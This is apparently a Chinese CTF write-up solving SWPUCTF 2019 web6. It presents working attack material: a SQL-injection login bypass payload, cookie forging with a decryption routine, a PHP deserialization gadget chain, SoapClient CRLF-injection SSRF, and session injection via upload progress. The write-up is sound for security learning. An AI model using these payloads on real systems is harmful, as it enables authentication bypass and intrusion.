美文网首页
swpuctf web6

swpuctf web6

作者: jun123123 | 来源:发表于2020-02-13 14:46 被阅读0次

    swpuctf2019web6

    登录页面,随便输入一个账号密码

    回显loginSELECT * FROM users WHERE username='1' and passwd='1'wrong username or password

    username=admin' or '1'='1&passwd=1' or 1=1#

    回显loginSELECT * FROM users WHERE username='admin' or '1'='1' and passwd='1' or 1=1#'Wrong password

    回显有两种分别是wrong username or password和Wrong password说明单独对password进行了查询

    可能是数值型或双字符型

    select * from users where password=$pw

    select * from users where password="$pw"

    双字符型:pw=" or 1=1#1' or 1=1#

    数值型:pw=' or 1=1#' or 1=1#

    试了一下都不行

    看了下wp payload为1' or '1'='1' group by passwd with rollup having passwd is NULL #,可以登录

    rollup可以对passwd进行计数,用于产生passwd=NULL的行,having用来筛选该行,payload应该不唯一

    不知道怎么做 根据提示有wsdl.php,看源码存在keyaaaaaaaasdfsaf.txt文件,内容为一串字符串,并且wsdl.php源码里提示了可用的method,试了下method=hint,得到'a few file may be helpful index.php Service.php interface.php se.php'

    尝试访问method=File_read,要求输入参数,根据wsdl.php

    中的提示可知参数名为filename

    post提交后可得几个文件的内容(Service.php无权限,在index.php中发现还有encode.php,也可拿到代码)

    可以看到index.php文件中有一个白名单,其中有一个get_flag的method,使用时提示要求admin和127.0.0.1,可能要伪造cookie或ssrf等方式调用该method。

    回到拿到的几个文件,其中有一个encode.php文件,我们可以给出decode,

    <?php
    
    
    function de_crypt($swpu,$key){
        $swpu=base64_decode($swpu);
        $key=md5($key);
        $h=0;
        $length=strlen($swpu);
        $swpuctf=strlen($key);
        $varch='';
        for($j=0;$j<$length;$j++){
            if($h==$swpuctf)
            {
                $h=0;
            }
            $varch.=$key{$h};
            $h++;
        }
        $content='';
        for($j=0;$j<$length;$j++)
        {
            $content.= chr(ord($swpu{$j}) - (ord($varch{$j}))+256 % 256);
        }
        return $content;
    }
    

    之前获取的txt文件名为keyaaaaaaaasdfsaf.txt,猜测为此处的key值,再将cookie带入,得到解密后字符串为'xiaoC:2'。

    然后就可以用encode文件伪造cookie了,但是伪造成admin仍然不能直接读取Seivrce.php,也不能直接get_flag。

    再看看剩下的几个文件,se.php中有一个反序列化的操作,可能可以利用。首先这里能构造ssrf的只有dd类

    class dd
    {
            public $name;
            public $flag;
            public $b;
            
            public function getflag()
            {
                    session_start(); 
                    var_dump($_SESSION);
                    $a = array(reset($_SESSION),$this->flag);
                    echo call_user_func($this->b,$a);
            }
    }
    

    这里的call_user_func可以将第一个参数当作函数名,后面的参数当作参数,调用该函数,并且$a和$b都是可控的值。

    这里首先我们要找出反序列化链,这里因为所有类都给出来了,所以比较好找

    $ee=new ee();
    $ee->str1=new dd();
    $ee->str2='getflag';
    $cc=new cc();
    $cc->mod3='1';
    $cc->mod1=$ee;
    $aa=new aa();
    $aa->mod1=$cc;
    $aa->mod2=array('test2'=>&$aa->mod1);
    $bb=new bb();
    $bb->mod1=$aa;
    
    $ee->str1->b='';
    $ee->str1->flag='';
    $sa=serialize($bb);
    echo $sa;
    

    这里的$ee->str1的几个成员变量需要填上payload,先空着。

    然后是找到ssrf的部分,这里给出了一个interface.php文件,刚开始不知道是干嘛的,看了wp才知道是用来ssrf的,里面有一个SoapServer类,我们在客户端可以使用SoapClient类来与之通信,这也是ssrf的基础。

    SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。

    根据前面method需要admin和127.0.0.1来访问get_flag方法,我们可以用SoapClient来调用get_flag方法,SoapClient实际上并没有这个方法但是_call方法会帮助我们调用SoapServer中的get_flag方法

    SoapClient中调用SoapServer中的方法

    call_user_func函数有调用成员方法的作用,所以我们令$ee->str1->flag='get_flag',$ee->str1->b='call_user_func',然后将$a数组中第一个成员设为SoapClient类即可,这里可以利用php序列化的属性,在se.php文件中有ini_set('session.serialize_handler', 'php');,这里将php序列化处理器设置为php,只要我们在session中写入含有|的字符串,php会自动将|前的字符串作为键,其后的字符串作为值反序列化

    php反序列化

    所以我们首先构造SoapClient类:

    $target = 'http://127.0.0.1/interface.php';
    $headers = array(
        'X-Forwarded-For: 127.0.0.1',
        'Cookie: user=xZmdm9NxaQ==',
    );
    
    $b = new SoapClient(null, array('location' => $target, 'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri'=>'aabb'));
    $a = serialize($b);
    $a = str_replace('^^', "\r\n", $a);
    echo $a;
    

    然后需要将反序列化后的字符串写入session中,这里上面的php反序列化有介绍,详细一点的可以看刷题记录:[SWPU2019]Web6

    将payload传入session的方式有两种, 一种是对面开放本地可控的数据, 另一种是因为配置不当造成session可控当session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,
    当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

    我们构造一个上传的html

    <html>
    <body>
        <form action="http://a3aff44b-21bc-4903-b8a4-434700b1be98.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
            <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
            <input type="file" name="file" />
            <input type="submit" />
        </form>
    </body>
    </html>
    

    这里有个坑就是上面说到,在上传文件的同时上传session.upload_progress.name变量,会写入session,所以需要上传一个文件,如果不上传文件就会收到502。我们在burp中将session.upload_progress.name变量(默认名为"PHP_SESSION_UPLOAD_PROGRESS")值设置为上面SoapClient序列化后的字符串,然后在开头加上|,并且在请求头加上cookie: PHPSESSID=a。这里的PHPSESSID是任意值,但是必须是唯一的,与后面ssrf时的PHPSESSID一致。

    然后我们将$ee->str1的属性成员填入

    $ee=new ee();
    $ee->str1=new dd();
    $ee->str2='getflag';
    $cc=new cc();
    $cc->mod3='1';
    $cc->mod1=$ee;
    $aa=new aa();
    $aa->mod1=$cc;
    $aa->mod2=array('test2'=>&$aa->mod1);
    $bb=new bb();
    $bb->mod1=$aa;
    
    $ee->str1->b='call_user_func';
    $ee->str1->flag='get_flag';
    $sa=serialize($bb);
    echo $sa;
    

    将输出的序列化字符串通过post方式,aa变量提交给se.php页面,同样要带上cookie,即可获取flag

    相关文章

      网友评论

          本文标题:swpuctf web6

          本文链接:https://www.haomeiwen.com/subject/qszkfhtx.html